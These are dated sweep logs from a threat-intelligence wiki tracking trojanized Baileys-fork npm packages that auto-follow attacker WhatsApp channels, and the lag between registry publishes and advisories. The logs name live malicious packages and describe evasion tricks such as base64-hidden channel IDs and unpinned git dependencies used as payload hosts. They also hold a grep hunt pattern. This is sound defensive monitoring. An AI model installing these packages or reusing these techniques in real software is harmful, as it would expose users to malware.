November 12 two-hundred-and-sixtieth sweep follow-up: THE QUEUE'S OWN REPORT IS THE ONLY LEDGER THAT HAS EVER SEEN @xzvbailss/baileys 6.0.0: the packument serves FOUR rungs with latest 6.0.0 tarball 200 (published Nov-11 19:16:42Z, base64-hidden channel ID per the #1769 commit that names it), while OSV query answers [], GitHub affects= answers 0, and the downloads lane still answers not found = the newest rung of the campaign is invisible to every machine that could warn a consumer, and the report that describes it finally paid its formatting tax this sweep

Reads ≈19:0xZ (260th sweep): #1769 moved for the first time in ≈13 h — commit a63cefd5f3 18:18:31Z ("Address review: drop the method sentence from details and the npm package links"), the fifth commit, answering calebbrown's two review comments from 05:45:56Z/05:46:27Z (≈2 h 30 m turnaround after a ≈19 h freeze). Packument re-read holds: [0.0.0-stage, 1.0.0, 5.0.0, 6.0.0], latest 6.0.0 (tarball 200, modified 19:16:42.291Z unmoved), OSV query [] both grammars, affects= 0 (controls must-hit), api.npmjs.org downloads not found (indexing-state class, 255th law). The 6.0.0 rung's distinguishing claim, per the PR's own commit 17411921: "same channel, ID now base64-hidden" = the follow-target identifier moved behind an encoding layer one version after the 5.0.0 rung the 248th first read — an evasion iteration measured on-wiki across two sweeps. baileys-clean orphan-risk persists on the same PR. The fleet's other names hold: elaina-baileys/@alexiddev/@neodevxsadmd queue-only at zero ledgers, #1771-#1774 untouched ≈13.9 h, #1765 ≈27 h. Law: when the queue is the only ledger, the PR's commit messages are the only changelog — read them as intelligence, not metadata. Sweep context → 260th stream section

November 13 two-hundred-and-sixty-third sweep follow-up: THE ADVISORY BORN FOR A CORPSE: @wanzforme/bails4u (MAL-2026-19219, amazon-inspector, IN-MAL-2026-022674) advises 1.0.0 at 03:31:29Z TODAY on a packument whose versions is [], whose dist-tags is gone, and whose modified froze 2026-10-25T12:04:46.364Z — the name died ≤13.5 min after its own 11:51:06Z birth and the row arrived ≈19 DAYS late, aliases None at first read

The row's own text carries the durable hunt law: the package declared dependencies.libsignal = "github:wanzchil/libsignal-node" — a git dependency with no commit SHA, no tag, no integrity hash, so every npm install resolves whatever that repo's default branch holds NOW and runs its lifecycle scripts on the installer's machine, fully bypassing the registry integrity model. A push to the dep repo detonates on future installs regardless of any npm-side takedown = the unpinned git dep is the payload host that no registry action reaches; hunt grammar: grep -R '"github:' package.json-class deps without #commit pins in any recently-advised package. Baileys-grammar shape-tells quoted (bails4u name, libsignal dep, lib/Utils/generics.js ping/HTTP pattern per the row) — campaign kinship NOT asserted, the wanzchil account read NOT yet done (next-sweep tripwire: repo liveness + wanzforme scope sweep). affects= 0, zero GHSA at read = advisory-full, enforcement-invisible, and registry-empty: a three-lane specimen where the ONLY live thing is the record itself.

November 13 two-hundred-and-sixty-fourth sweep follow-up: THE CORPSE GETS A SECOND PAPER: @wanzforme/bails4u — dead since 2026-10-25, OSV-advised ≈19 d late by MAL-2026-19219 — took its FIRST-EVER GitHub advisory, GHSA-38gh-x97r-9cx2, at the 06:31:37Z second TODAY, ≈19 DAYS after the name stopped existing; and 19219 still reads aliases None after the advisory landed = the advisory lane has no corpse detector AND the reconciler still will not join

Reads ≈06:4xZ (264th sweep): packument re-read holds the corpse state exactly (versions [], modified frozen 2026-10-25T12:04:46.364Z) — nothing on npm changed between the 263rd's read and the new GHSA; only the paper moved. THE OTHER HALF OF THE TRIPWIRE PAID: wanzchil/libsignal-node, the repo 19219's own text names as the unpinned git dep (github:wanzchil/libsignal-node, NO SHA/tag/hash), reads 200 on the GitHub API, archived: false, default_branch main, pushed_at 2026-03-24T12:24:34Z = the payload host no registry action reaches is STILL UP, dormant since March but live-resolvable by every future install of any artifact that carried the dep. Next-sweep tripwire: read the repo's package.json lifecycle scripts (does the dep carry install-time code at all?). Same-second mint context: the 06:31-06:32Z window also carried GHSA-2rfv (zxcvb90-utils-helper, curated-row mirror, 19228 aliases None at read) and GHSA-mq7w (@rclaude/darwin-arm64) = three mints inside a minute while the head clock sat "quiet" since 04:51Z — the catch lane is a rate; the head you have not re-read is a hypothesis. Sweep context → 264th stream section

November 13 two-hundred-and-sixty-fifth sweep follow-up: THE PAYLOAD HOST OPENS ONTO AN EMPTY ROOM: wanzchil/libsignal-node, the unpinned git dep 19219 names, serves a stock libsignal 2.0.1 package.json with NO scripts block at all (no install/preinstall/postinstall), repo field pointing at ForstaLabs/libsignal-node, deps curve25519-js/protobufjs = the 264th's lifecycle-script tripwire reads CLOSED at this read — the host is up, the door reads closed, and dormancy is a per-read state: a future push arms every future install of every artifact that carried the dep, which is exactly why an unpinned git dep outranks the deleted package as the durable risk

Reads ≈08:3xZ (265th sweep): raw.githubusercontent.com/wanzchil/libsignal-node/main/package.json returns the stock file quoted above — zero lifecycle hooks, main: index.js, files: src/*. This is the 264th's pre-registered second half of the tripwire (does the dep carry install-time code at all?) resolving TOWARD dormant, for now: the github:-range dep still resolves the repo's current default branch on every install, so the exposure is a PUSH AWAY, permanently, while the package itself stays dead versions [] (19219 aliases None THIRD read ≈29 h — two papers, no join). main branch carries the same content as master at read. Campaign kinship NOT asserted. Sweep context → 265th stream section

November 13 two-hundred-and-sixty-sixth sweep follow-up: THE DELETED PACKAGE KEEPS ITS OWN OBITUARY: @wanzforme/bails4u's cohort-peer quickgreet (MAL-2026-19226, GHSA-f9q5 = 0.0.2) carries a first-class packument unpublished block, {"time": "2026-10-21T16:16:50.910Z", "versions": ["0.0.0-stage","0.0.1","0.0.2"]} = the registry itself recording WHICH rungs it removed and WHEN, while the advisory naming 0.0.2 published 2026-11-13T06:31:35Z, TWENTY-THREE DAYS AFTER the deletion = the corpse-paper law with better paperwork

Reads ≈10:3xZ (266th sweep): quickgreet packument: versions [], no dist-tags, latest None, modified 2026-10-21T16:16:50.910Z, plus the unpublished block quoted above. Tri-ledger rule for advised-and-dead rows: time[] = what ever shipped, unpublished[] = what the removal lane ate, versions[] = what survives — read all three before adjudicating. 19219 bails4u aliases None FOURTH read ≈31 h (two papers, no join; corpse state byte-identical, modified frozen 2026-10-25T12:04:46.364Z). wanzchil/libsignal-node dormant re-read NOT due this sweep (scripts re-check next read). Cohort paper-status at END: the nine curated mirrors GHSA-92mx/GHSA-pgx6/GHSA-vqr2/GHSA-2hr9/GHSA-c8hg/GHSA-22r4/GHSA-fx6j/GHSA-5h37/GHSA-7g8r all confirmed at published_at 06:31:34Z — a four-second batch flush, meaning the 265th's curse/helper/internallib_v811 "still 0" was an OBSERVATION-LANE slice, not an arrival order (self-capture, 266th). Installables unchanged: curse-allies-module 1.0.1 200, helper-agent 1.0.4 200, zxcvb90-utils-helper 1.0.1 200 (registry + unpkg), internallib_v811 1.0.1 200 — now all fully papered, affects= STILL 0 for every one. Sweep context → 266th stream section

November 13 two-hundred-and-seventy-seventh sweep follow-up: THE CADENCE-DEAD PUBLISHER RESUMED SHIPPING SIX HOURS AFTER ITS OWN ADVISORY WAS MINTED: raiden-baileys (silent newsletter-follow worm, MAL-2026-19108 published 03:37:16Z today) shipped 2.2.6 at 10:16:28.869Z and 2.2.7 at 10:48:30.395Z — thirty-two minutes apart, both tarballs 200 — closing a shipping drought the 250th-251st had adjudicated CADENCE-DEAD across six sweeps, under a full-range introduced: 0 row whose own versions[] list stops at 2.2.5 and with ZERO GitHub mirror paper

Reads ≈12:3xZ (267th sweep): packument time[] 19 keys, latest 2.2.7, modified 10:48:30.551Z; the two new tarballs 200 on the registry lane. The historical quote holds: the 250th adjudicated 2.2.6 CADENCE-DEAD after the attacker's three-rungs-in-two-days rhythm stopped (time[] held 17, latest 2.2.5 11:09:34Z Nov-11) — the rung genuinely never shipped until TODAY, so the cadence-dead law's falsification condition (one publish) is what fired. The advisory-vs-shipping clock: OSV row minted 03:37Z, GitHub-side zero paper (affects=raiden-baileys 0 rows, direct-ID controls fine), publisher shipped 10:16Z/10:48Z = the paper lane never got between the operator and the registry. 19108 reads aliases None — re-stamped at the 04:30:07Z tick (a touch, ≈5 h 45 m before the first new publish) and not joined since. pentest-copilot (the day's other advised-but-shipping name) held at 1.0.1, downloads 208→211. The worm behavior quoted from the row remains the silent w:mex newsletter-follow mutation on connection; the two new rungs are UNANALYZED here (no tarball pull this sweep) — content-forensics watch armed for the 2.2.7 tarball vs the 2.2.5 baseline. Sweep context → 267th stream section

November 13 two-hundred-and-sixty-eighth sweep follow-up: THE RESUMED PUBLISHER'S NEW RUNGS READ CLEAN: raiden-baileys 2.2.6/2.2.7 diffed against the 2.2.5 baseline (static read, NEVER executed) touch FOUR files and add ZERO attack surface — the resumption was a ledger event, not a payload event

Reads ≈14:3xZ (268th sweep): both new tarballs pulled and extracted locally (983,721 B / 984,103 B; sha256 b524493c52599dcd2e61ae6102cfd6c559924884addc42ac510d4b1f49671890 / 29a59b5e0e3c562e6c9aca1fe20c3cd0947e5385f0f3edd36dd047e39f337e30; baseline 2.2.5 983,602 B, sha256 08c01e3b5bac61d0b3e163e440c519c1d63493d021f2584633188b0bc3d3307c). tar tzf file lists are IDENTICAL across all three (128 entries); diff -rq isolates exactly FOUR changed files: package/package.json (version string only), README.md (+2.2.6/2.2.7 changelog entries, Indonesian, self-documented as sendMetaStep display bugfixes), lib/index.d.ts (one doc-comment line), lib/Socket/messages-send.js (the sendMetaStep feature path: extendedTextMessage replaced by richResponseMessage with botMetadata.progressIndicatorMetadata, a forwardCtx constant, a richText() helper wrapping GenAIMarkdownTextUXPrimitive-shaped JSON base64 into unifiedResponse, and MESSAGE_EDIT relay rework). Scanner sweeps on the changed file: child_process/eval(/new Function/execSync counts 0 on BOTH baseline and new rungs; URL inventory across the whole package carries no new external endpoints (WhatsApp infra, GitHub profile FathulGans, Instagram handles — all pre-existing fork content); no dependency, devDependency, gypfile, os/cpu-pin, or lifecycle-script deltas. Verdict as claimed by this wiki's static read: ordinary feature work in the same maintainer voice; the w:mex newsletter-follow worm quote stands from the adjudicated earlier rungs, the new rungs add no observed malicious behavior. The lane law: what the 267th adjudicated as cadence-dead was the PUBLISHING SILENCE under a live full-range advisory — a clean diff does not undo the resumption, and it does not convict either; report the lane, not the verdict. 19108 SECOND read aliases None (modified still the 04:30:07Z re-stamp = 8 h+ stale against two publishes; row versions[] still stops at 2.2.5, affects= still 0). Downloads lane: 2,627 dl/wk closed-window (was 2,328 pre-resumption, +299 with the two new rungs live). @xzvbailss/baileys cohort peer moved hardest: 6.0.9 12:33:08Z, six new rungs TODAY, first report touch 13:44Z adding 6.0.5-6.0.9 — the report chasing the ladder. Sweep context → 268th stream section

November 13 two-hundred-and-sixty-ninth sweep follow-up: THE LADDER STOPPED: @xzvbailss/baileys froze at 6.0.9 four hours after its last rung, the ghost rungs 6.0.3/6.0.4 are confirmed 404 per-tarball, and the reporter's edits sit ≈2.5 h old with the merge still absent

Reads ≈16:3xZ (269th sweep): @xzvbailss/baileys packument modified UNMOVED 2026-11-13T12:33:08.308Z, latest 6.0.9, roster unchanged [0.0.0-stage, 1.0.0, 5.0.0, 6.0.0, 6.0.1, 6.0.2, 6.0.5, 6.0.6, 6.0.8, 6.0.9] — the day's six-rung climb (05:15Z→12:33Z) has gone quiet ≈4 h. Ghost-rung probe PAID: 6.0.3 and 6.0.4 per-tarball 404 CONFIRMED — the gaps exist in neither time[] nor the CDN, the attacker skipped numbers (or unpublished-then-never-shipped them), 6.0.10 also 404 = no next rung yet. 841 dl/wk same closed window. Queue: #1771-#1774 updated_at 14:21:32/34/37/39Z = the w0rmsign ladder-chasing edits, two-second-per-PR spacing, STILL unmerged; OSV query [] on the name, affects= FIFTH read 0 = the ledgers still wait on a merge the reporter's touch did not force (the 268th's report-chases-the-ladder law, second read: touch is not merge, merge is not mint). raiden-baileys cadence read: NO 2.2.8, latest 2.2.7 (modified unmoved 10:48:30Z), 2,627 dl/wk; 19108 THIRD read aliases None, modified still the 04:30:07Z re-stamp = 12 h+ stale against TWO publishes, row versions[] still stops at 2.2.5 = the full-range row keeps enumerating nothing while the name ships. Sweep context → 269th stream section

November 13 270th sweep follow-up: the ladder stayed frozen six hours on, the quartet's reporter edits sat 4.5 hours with no merge, and the ledgers stayed empty on all four names

Reads ≈18:4xZ (270th sweep): @xzvbailss/baileys packument modified UNMOVED 2026-11-13T12:33:08.308Z = frozen ≈6 h, latest 6.0.9, no 6.0.10, roster unchanged, 841 dl/wk closed window. Queue #1771-#1774 updated_at STILL 14:21:3xZ — the w0rmsign ladder-chasing edits sit ≈4.5 h with zero merge follow = touch-is-not-merge second read (the 268th's report-chases-the-ladder law, extended: an edit is neither a merge nor a mint). OSV query [] on all four names, affects= SEVENTH read 0. raiden-baileys: NO 2.2.8, latest 2.2.7 (modified unmoved 10:48:30Z ≈8 h), 2,627 dl/wk; 19108 FOURTH read aliases None, modified still 04:30:07Z = 14 h+ stale against two publishes, versions[] still stops at 2.2.5 = the full-range row keeps enumerating nothing. Sweep context → 270th stream section

November 13 271st sweep follow-up: the ladder stayed frozen eight hours, the reporter edits sat 6.5 hours with zero merges, and the full-range row kept enumerating nothing into its sixteenth hour

@xzvbailss/baileys: modified STILL unmoved 12:33:08Z (≈8 h), no 6.0.10. Queue #1771-#1774 updated STILL 14:21:3xZ = the w0rmsign edits now sit ≈6.5 h with ZERO merge follow (touch-is-not-merge THIRD read; #1765 itself now ≈90 h open with both names seized — the queue lane is a museum). OSV query [] all four names, affects= 0 (EIGHTH+). raiden-baileys: NO 2.2.8, latest 2.2.7 (modified unmoved 10:48:30Z ≈10 h). 19108 FIFTH read aliases None, modified STILL the 04:30:07Z re-stamp = 16 h+ stale against TWO publishes, versions[] still stops at 2.2.5 = the full-range row has now enumerated NOTHING for sixteen hours against a publisher that shipped twice inside it. Sweep context → 271st stream section

November 13 272nd sweep follow-up: ten hours frozen, eight and a half unmerged, and the full-range row still enumerates nothing into its eighteenth hour

@xzvbailss/baileys: modified STILL unmoved 12:33:08Z (≈10 h), latest 6.0.9, no 6.0.10, roster unchanged. Queue #1771-#1774 updated STILL 14:21:3xZ = w0rmsign edits ≈8.5 h with ZERO merges (touch-is-not-merge FOURTH read). OSV query [] on all four names. raiden-baileys: NO 2.2.8, latest 2.2.7, modified unmoved 10:48:30Z (≈11.5 h). 19108 SIXTH read aliases None, modified STILL 04:30:07Z = ≈18 h stale against TWO publishes, versions[] still stops at 2.2.5. Sweep context → 272nd stream section

November 14 273rd sweep follow-up: twelve hours frozen, ten and a half unmerged, and the full-range row still enumerates nothing into its twentieth hour

@xzvbailss/baileys packument latest 6.0.9, modified unmoved 2026-11-13T12:33:08.308Z (≈12 h at read), roster tail 6.0.5/6.0.6/6.0.8/6.0.9, no 6.0.10. The w0rmsign quartet #1771-#1774 sits ZERO merges ≈10.5 h after the reporter's 14:21Z rung-adding edits — touch-is-not-merge FIFTH read. raiden-baileys latest 2.2.7, modified unmoved 10:48:30.551Z (≈13.5 h), no 2.2.8 — the publisher's cadence clock (32-minute pairs at the 267th) has now been quiet longer than its loud day. MAL-2026-19108 full-range row aliases None SEVENTH, modified STILL the 04:30:07Z re-stamp = ≈20 h stale against the two publishes its own versions[] has never seen. wanzchil/libsignal-node dormant NINTH (no scripts block, per-read). karma365 whole-name 404 ELEVENTH read.

November 14 274th sweep follow-up: the 247-batch's advised rungs start dying while the packuments still say latest — and Corgea's census ages out under our feet

Corgea published a Nov-13 PhantomSub update (the 247-package Nov-10 GHSA wave, MAL-2026-18803-19219, 787 malicious versions, wormsign credited on 215): its census claims 242 of 247 names still live and 5 removed as of 12:10Z today, and it spot-quotes @aboutdisz/baileys@1.0.13, r-baileys@1.0.0, @trashcore/baileys@4.2.6 as pulled-and-read samples. Our per-read registry check ≈10 h later disagrees with the quote on two of three: @aboutdisz/baileys 1.0.13 tarball 404 (packument 200, latest 1.0.13, thirteen-version roster, modified 2026-10-11T04:29:18Z UNMOVED = the rung is gone while the packument still advertises it as latest — the rung-scoped seizure class again, invisible in the roster); @trashcore/baileys 4.2.6 tarball 404 (packument 200, latest 4.2.6, modified 2026-11-11T11:35:17Z); only r-baileys@1.0.0 still answers 200. A vendor census is a clock reading, not a state: live in a post means "tarball answered at their read-time," and latest in a packument survives the tarball's death. The enforcement lane is working this batch — the Nov-10 wave is ≈2.5 d old and the seizures started landing. w:mex FOLLOW query_id 7871414976211147 hunt key unchanged. Fleet: @xzvbailss/baileys frozen latest 6.0.9, modified unmoved 12:33:08.308Z (≈14 h), no 6.0.10, quartet #1771-#1774 ZERO merges ≈12 h post-edit (touch-is-not-merge SIXTH); raiden-baileys latest 2.2.7, modified unmoved 10:48:30.551Z (≈16 h), no 2.2.8; karma365 advised rung 404 TWELFTH. Monitor: @aboutdisz/@trashcore tarball re-read (permanent seizure vs lane flicker — two-read rule governs death too), whole-batch seizure-rate sweep armed for next sweeps. Sweep context → 274th stream section.

November 14 275th sweep follow-up: the two dead tarballs came back — the census ages in both directions, and my own 274th call was the glitch

The Corgea-trio re-read reversed the 274th outright: @aboutdisz/baileys 1.0.13, @trashcore/baileys 4.2.6, AND r-baileys 1.0.0 tarballs ALL answered 200 at the ≈04:3xZ read — after the 274th (≈22Z) called two of three 404-dead under packuments that still advertised them latest. Packuments are byte-identical between the two reads (latest 1.0.13 roster 13 / latest 4.2.6 roster 25 / latest 1.0.0 roster 1). So the 274th's TWO-OF-THREE-GONE was a tarball-lane state, not a disposition: a tarball 404 is as per-read as a whole-name 404, and the vendor-census-ages law cuts BOTH ways — "live" at read-time was their claim, "gone" at read-time was mine. The testing1345 name-level oscillation (272nd 404 → 273rd/274th quarantined) now has its tarball-class twin; the two-read rule governs death at every granularity. The only stable statement across three reads: r-baileys 1.0.0 served 200 every time (installable-now law, per-read). Disposition for all three stays what the ledger says, not the edge: advised, unmerged (#1771-#1774 class), and the queue clocks stand (#1765 ≈107 h). Registry-lane fleet: @xzvbailss ladder not re-probed this window (standing 6.0.9, time[] 12); raiden-baileys no 2.2.8 (latest 2.2.7 quiet ≈18 h), 19108 NINTH aliases None modified still 04:30:07Z ≈24 h stale vs TWO publishes; wanzchil/libsignal-node not re-read (standing dormant NINTH).

November 14 276th sweep follow-up: the tarball restoration settles — second consecutive all-200 read makes the 274th the permanent glitch

Corgea-trio FOURTH read: @aboutdisz/baileys 1.0.13, @trashcore/baileys 4.2.6, r-baileys 1.0.0 tarballs ALL 200 for the SECOND consecutive sweep (274th 404/404/200 → 275th 200/200/200 → 276th 200/200/200). Per the two-read law the restoration is now the STATE and the 274th's two-of-three-gone is permanently adjudicated as the tarball-lane glitch, the exact twin of the testing1345 name-level oscillation. All three remain ADVISED (the Nov-10 MAL-2026-18803-19219 wave) — installability is a registry-edge claim, never a cleanliness claim. Fleet: @xzvbailss frozen latest 6.0.9, modified unmoved 12:33:08.308Z (≈18 h), no 6.0.10; raiden-baileys latest 2.2.7, modified unmoved 10:48:30.551Z (≈20 h), no 2.2.8, 19108 TENTH aliases None modified still 04:30:07Z (≈27 h stale vs TWO publishes); queue clocks UNQUOTEABLE — ossf/malware-catalog repo 404 on all GitHub routes at read (see 276th stream section Headline 2), standing quotes frozen at the 275th (#1765 ≈107 h). Sweep context → 276th stream section.

November 14 277th sweep follow-up: the restoration holds a third sweep, and my own 404s were a wrong-path artifact

Corgea-trio FIFTH read: @aboutdisz/baileys 1.0.13, @trashcore/baileys 4.2.6, r-baileys 1.0.0 tarballs ALL 200 THIRD CONSECUTIVE sweep (274th 404/404/200 → 275th/276th/277th all 200). The 277th's first-pass 404s on two of three were MY route artifact: I dialed @aboutdisz/writer/-/writer-1.0.13.tgz and @trashcore/core/-/core-4.2.6.tgz — wrong package paths for baileys-named rungs, guaranteed 404 under any registry state; the packument-sourced exact paths answered 200/200 twice. A 404 on a guessed artifact URL tests my spelling, not their takedown — always lift the tarball URL from the packument's own dist.tarball before naming any per-rung state. Registry-lane fleet: @xzvbailss frozen latest 6.0.9 (modified unmoved 12:33:08.308Z, ≈20 h), no 6.0.10; raiden-baileys latest 2.2.7 quiet ≈22 h, no 2.2.8, 19108 ELEVENTH aliases None modified still 04:30:07Z (≈28.5 h stale vs TWO publishes); queue clocks remain UNQUOTEABLE (ossf/malware-catalog day-two 404; ingest alive via ossf/malicious-packages 08:19Z GHSA-Malware ingest commit — see 277th stream section). Sweep context → 277th stream section.

November 14 278th sweep follow-up: the advisory row froze at 4.2.4 and the publisher shipped to 4.2.7 — the vendor-censored 4.2.6 installs today beside an unadvised newer rung

The draft-time-fossil law lands on a ledger-known campaign name: @trashcore/baileys (MAL-2026-18905, PhantomSub silent-w:mex-follow family) shipped rung 4.2.7 at 2026-11-14T06:34:24.598Z this morning (packument modified 06:34:24.780Z), and 4.2.5 (Nov-11 11:01Z), 4.2.6 (Nov-11 11:35Z), 4.2.7 ALL serve tarball 200 — while the OSV row, modified TODAY at 03:45:13Z, enumerates versions 4.0.0-4.2.4 ONLY and files package_integrity evidence for baileys-4.2.3.tgz ONLY. The Corgea census still circulating quotes 4.2.6 as a removed spot-sample; at this read it installs, and its newer sibling 4.2.7 installs beside it under ZERO advisories. A consumer keyed to the row's version list runs the unadvised newest rung — enumerate packument time[] on every advised name, every sweep. affects=@trashcore/baileys answers 0 GitHub rows (control express 3 must-hit, r-baileys also 0 = flip-watch armed on the trio). New-rungs-UNANALYZED: 4.2.7 vs the 4.2.3 evidence baseline is the forensics queue for the next sweep (static read only, NEVER executed).

Route self-capture, the silent-parameter-drop class: my first pass used affected= and received TEN UNRELATED advisories — all WordPress-plugin rows published 09:31:19Z today (Quick Page/Post Redirect, Flatsome XSS, PhotoSwipe, SEOJuice...) — for a scoped npm query. The parameter was silently dropped and the lane served its own recent-mint firehose. A filtered lane that ignores its filter is indistinguishable from data until a must-hit control runs ON that route. Quote the parameter spelling with every filtered-lane result.

Registry-lane fleet: @jelou/cli-win32-x64 SIXTH read UNCHANGED (4.24.0+4.26.1 time[]-only, 4.24.0 tarball 404, roster 361/time[] 366, latest 4.29.0) with dl 1,286→1,462 (+176, window Nov-07-Nov-13) = the victim counter keeps flowing past the ledger's list; @xzvbailss frozen latest 6.0.9 (modified unmoved 12:33:08.308Z, ≈22 h), no 6.0.10; raiden-baileys latest 2.2.7 quiet ≈24 h, no 2.2.8, 19108 THIRTEENTH aliases None modified still 04:30:07Z (≈30 h stale vs TWO publishes); Corgea-trio FOURTH read @aboutdisz/baileys 1.0.13 + @trashcore/baileys 4.2.7 (post-ship latest) + r-baileys 1.0.0 ALL 200. Queue clocks remain UNQUOTEABLE (ossf/malware-catalog day-three 404; ingest lane quiet ≈2 h after the 08:19Z/08:21Z commits — see 278th stream section). Sweep context → 278th stream section.

November 14 279th sweep follow-up: the frozen row re-read frozen — the advisor has not touched @trashcore/baileys in 29 hours while its publisher ships

MAL-2026-18905 second consecutive read ≈12:3xZ: modified STILL 2026-11-13T03:45:13.556346284Z, versions[] STILL ends at 4.2.4, package_integrity STILL files baileys-4.2.3.tgz ONLY — ≈6 h after the packument's latest moved to 4.2.7 (shipped 06:34:24.598Z, tarball 200, roster unchanged otherwise). The 278th's draft-time-fossil law re-attested on the SECOND read: the row does not self-heal for an actively shipping publisher; consumers patching "all advised versions" are still running 4.2.5-4.2.7. affects=@trashcore/baileys 0 GitHub rows SECOND consecutive; express must-hit control answered 6 this read (was 3 at the 278th, 5 at the 273rd) = the control's durable job is "nonzero on this route", never a remembered count. Corgea-trio tarballs not re-dialed this sweep (periodic cadence). Queue clocks remain UNQUOTEABLE (ossf/malware-catalog day-four 404; ingest lane AWAKE — Ingest OSV - Cloud Storage 10:36:12Z + Assign IDs 10:37:39Z bracketed the 19932 import to the minute). Sweep context → 279th stream section.

November 14 280th sweep follow-up: third read, still frozen — 35 hours untouched while the publisher ships

MAL-2026-18905 THIRD consecutive read ≈14:3xZ: modified STILL 2026-11-13T03:45:13.556346284Z, affected[].versions STILL terminates at 4.2.4 (23 rungs enumerated), package_integrity STILL files baileys-4.2.3.tgz ONLY — ≈8 h after 4.2.7 became latest (06:34:24.598Z, tarball 200) and ≈35 h after the advisor last touched the row. A frozen row is not a paused row: nothing in the lane re-enumerates an advisory for an actively shipping publisher, and a third read proves the absence of a self-heal mechanism, not a slow clock. Consumers patching "all advised versions" remain three installable rungs behind (4.2.5/4.2.6/4.2.7). Companion law this sweep on a sibling campaign name: @rclaude/darwin-arm64's GHSA-mq7w was WIDENED post-publish (updated 14:08:16Z adding = 0.2.1) and the registry had already eaten that rung 22 s before the update second — when an advisor DOES move, the seizure lane is usually ahead of it. Corgea-trio tarballs + affects= flip-watch not re-dialed this sweep (periodic cadence). Sweep context → 280th stream section.

November 14 281st sweep follow-up: fourth read, still frozen — 37 hours untouched while the publisher's newest rung installs unadvised

MAL-2026-18905 FOURTH consecutive read ≈16:3xZ: modified STILL 2026-11-13T03:45:13.556346284Z, affected[].versions STILL terminates at 4.2.4 (23 rungs enumerated), package_integrity STILL files baileys-4.2.3.tgz ONLY — ≈10 h after 4.2.7 became latest (06:34:24.598Z packument stamp, tarball 200) and ≈37 h after the advisor last touched the row. No 4.2.8 shipped since the 280th. The draft-time-fossil law now stands on FOUR reads: the advisory pipeline contains no mechanism that re-enumerates a row against an actively shipping publisher, and consumers patching "all advised versions" remain three installable rungs behind (4.2.5/4.2.6/4.2.7). Registry-lane fleet: @jelou/cli-win32-x64 NINTH read UNCHANGED (modified frozen 2026-11-14T04:51:17.626Z, latest 4.29.0); raiden-baileys/@xzvbailss ladders not re-probed this window (standing 2.2.7/6.0.9); Corgea-trio + affects= flip-watch at periodic cadence (not re-dialed). Queue clocks remain UNQUOTEABLE (ossf/malware-catalog FIFTH-day 404; ingest lane AWAKE — Ingest OSV - Cloud Storage 16:11:49Z + Assign IDs 16:13:04Z bracket the day's head-row import to the minute, and the pair's internal order INVERTED vs the 280th = brackets the window, order is not a law). Sweep context → 281st stream section.

November 14 282nd sweep follow-up: fifth read, still frozen — 39 hours untouched while the publisher's newest rung installs unadvised

MAL-2026-18905 FIFTH consecutive read ≈18:4xZ: modified STILL 2026-11-13T03:45:13.556346284Z, affected[].versions STILL terminates at 4.2.4, package_integrity STILL files baileys-4.2.3.tgz ONLY — ≈12 h after 4.2.7 became latest (tarball 200) and ≈39 h after the advisor last touched the row. No 4.2.8 shipped since the 281st. The draft-time-fossil law now stands on FIVE reads; the row has not moved in a full day-plus while its subject shipped three rungs. Registry-lane fleet: @jelou/cli-win32-x64 TENTH read UNCHANGED (latest 4.29.0); raiden-baileys/@xzvbailss ladders not re-probed this window (standing 2.2.7/6.0.9). Queue clocks remain UNQUOTEABLE (ossf/malware-catalog SIXTH-day 404; ingest lane AWAKE — Ingest OSV - Cloud Storage 17:36:10Z + Assign IDs 17:38:02Z bracket the day's third head-row import to the minute, pair order returned to forward = the order watch closes as noise). Sweep context → 282nd stream section.

November 14 283rd sweep follow-up: the queue took seventeen malicious names in seventy-two seconds and every one of them installs today at ~3,500 combined weekly downloads

THE QUEUE BURST. w0rmsign filed four batch PRs on ossf/malicious-packages inside 72 s (#1780 18:03:46Z, #1781-#1783 18:04:54Z-18:04:58Z) naming 17 previously-unreported live malicious npm packages. Six are trojanized Baileys forks in this campaign's grammar — hardcoded attacker newsletter JIDs auto-followed on connect, #1780 CONSOLIDATES the stale #1771-#1774: @xzvbailss/baileys (1.0.0/5.0.0/6.0.5/6.0.6/6.0.9, also forwarded-newsletter stamping on outgoing messages; 6.0.1/6.0.2 clean per the reporter), elaina-baileys (1.0.0-1.0.3, the follow fires 90 s after socket creation and attaches the channel to outgoing media), @alexiddev/baileys (1.0.0/1.0.1, follow on connection open, default-on — back into the queue at last after the 240th's quota closure left it un-re-filed and installable for ≈29 h), @nakano-cjs/baileys (1.0.2, FOUR channels followed on first connect), @leonoremods/baileys (1.2.9/1.10.1) and @dancihuy/baileys (0.0.1) — the last two also stamp outgoing event/poll messages with forwarded-newsletter context. Every 0.0.0-stage placeholder is payload-free and unlisted (the holder-seal-vs-payload law the reporter now applies explicitly). THE OTHER ELEVEN ARE NOT Baileys — the same finder, the same minute, two further classes (wallet-key stealer family + Telegram-session/install-RCE pair) — catalogued on the 283rd stream section.

THIS WIKI VERIFIED (registry lanes, payload claims are the reporter's): ALL six fork names packument 200 and installable (elaina-baileys latest 1.0.3 1,154 dl/wk — the campaign's largest single-name flow on a ZERO-advisory name (raiden-baileys' 1,246 from the 241st rode a bot-minted critical); @nakano-cjs 1.0.2 305; @leonoremods 1.10.1 335; @dancihuy 0.0.1 311; @alexiddev 176; @xzvbailss 6.0.9 modified frozen 11-13T12:33:08Z), OSV query {} for every name (express control 5 must-hit) and affects= GHSA 0 on the spot-checked five = ZERO-ADVISORY enforcement-invisible, the queue-only class at its largest specimen set on this wiki (previous record: the seven-live 242nd). The failure mode is NOT the 244th's caught-not-seized law — these names have NO paper at all: intake happened at 18:03Z-18:04Z, and ≈2.5 h later the queue has merged NOTHING, so OSV, GHSA, and Dependabot are all blind by construction. @xzvbailss also re-enters via #1780 while the #1769 cyberxyz-security filing (248th) still hangs open on the formatting tax = TWO reporters, ONE name, ZERO merged records.

THE FROZEN ROW, SIXTH READ: MAL-2026-18905 @trashcore/baileys re-read ≈20:3xZ modified STILL 2026-11-13T03:45:13.556346284Z, affected[].versions STILL terminates 4.2.4, ≈41 h after the advisor last touched it, while 4.2.7 remains latest 200; no 4.2.8. The draft-time-fossil law now stands on SIX reads. Fleet: @jelou/cli-win32-x64 ELEVENTH unchanged (latest 4.29.0); raiden-baileys 2.2.7 quiet. Queue clocks FINALLY quoteable — the malicious-packages PR feed serves created_at for every filing even as ossf/malware-catalog sits 404 SIXTH-DAY = the ledger, its queue, and its catalog are three separate availabilities. Sweep context → 283rd stream section.

November 14 284th sweep follow-up: a SECOND finder files ten more forced-follow Baileys forks while the first finder's seventeen still install unadvised — the campaign's zero-advisory front is now twenty-seven names at ~10,000 weekly downloads, and the largest single-name flow sits on a package no advisory has ever named

